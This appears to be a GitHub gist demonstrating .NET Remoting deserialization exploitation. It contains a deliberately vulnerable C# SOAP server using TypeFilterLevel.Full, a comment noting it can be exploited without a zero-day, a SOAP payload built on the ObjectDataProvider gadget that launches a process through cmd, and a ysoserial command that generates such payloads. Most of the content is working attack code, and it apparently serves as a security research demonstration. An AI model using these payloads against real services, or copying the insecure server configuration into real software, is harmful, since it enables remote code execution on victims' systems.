Created
March 20, 2019 17:24
-
-
Save adon90/0f5445234332a2bf638a57e38ecc3102 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
using System; | |
using System.Collections; | |
using System.Runtime.Remoting; | |
using System.Runtime.Remoting.Channels; | |
using System.Runtime.Remoting.Channels.Http; | |
using System.Runtime.Serialization.Formatters; | |
namespace ExampleRemoting | |
{ | |
public class DateTimeServer : MarshalByRefObject, IDisposable | |
{ | |
public DateTimeServer() | |
{ | |
Console.WriteLine("DateTime server activated"); | |
} | |
~DateTimeServer() | |
{ | |
Console.WriteLine("DateTime server Object Destroyed."); | |
} | |
public void Dispose() | |
{ | |
GC.SuppressFinalize(this); | |
} | |
public String MyMethod(String name) | |
{ | |
String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now; | |
Console.WriteLine(strMessage); | |
return strMessage; | |
} | |
} | |
public class Server | |
{ | |
public static void Main() | |
{ | |
SoapServerFormatterSinkProvider soapServerFormatterSinkProvider = new SoapServerFormatterSinkProvider() | |
{ | |
TypeFilterLevel = TypeFilterLevel.Full // This is where we can exploit it without knowing anything about the application or having an 0day! Could be TypeFilterLevel.Low | |
}; | |
IDictionary hashtables = new Hashtable(); | |
hashtables["port"] = 9999; | |
hashtables["proxyName"] = null; | |
hashtables["name"] = "Test Remoting Services"; | |
/* Creating the channel using SoapServerFormatterSinkProvider */ | |
//HttpChannel channel = new HttpChannel(9999); | |
HttpChannel channel = new HttpChannel(hashtables, null, soapServerFormatterSinkProvider); | |
ChannelServices.RegisterChannel(channel,false); | |
RemotingConfiguration.RegisterWellKnownServiceType(typeof(DateTimeServer), "TuPutisimaMadreEnPatinete.soap", WellKnownObjectMode.Singleton); | |
System.Console.WriteLine("press <enter> to exit."); | |
System.Console.ReadLine(); | |
} | |
public String MyMethod(String name) | |
{ | |
String strMessage = "Hi " + name + ". Here is the current DateTime: " + DateTime.Now; | |
Console.WriteLine(strMessage); | |
return strMessage; | |
} | |
} | |
} |
Payload 2:
<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<a1:TextFormattingRunProperties id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/Microsoft.VisualStudio.Text.Formatting/Microsoft.PowerShell.Editor%2C%20Version%3D3.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3D31bf3856ad364e35">
<ForegroundBrush id="ref-3"><ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc" ObjectType = "{ x:Type Diag:Process}" MethodName = "Start" >
<ObjectDataProvider.MethodParameters>
<System:String>cmd</System:String>
<System:String>/c "calc" </System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary></ForegroundBrush>
</a1:TextFormattingRunProperties>
</SOAP-ENV:Envelope>
ysoserial.exe -f SoapFormatter -g WindowsIdentity -c "calc" -o raw -t
Nice aDon90
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Payload: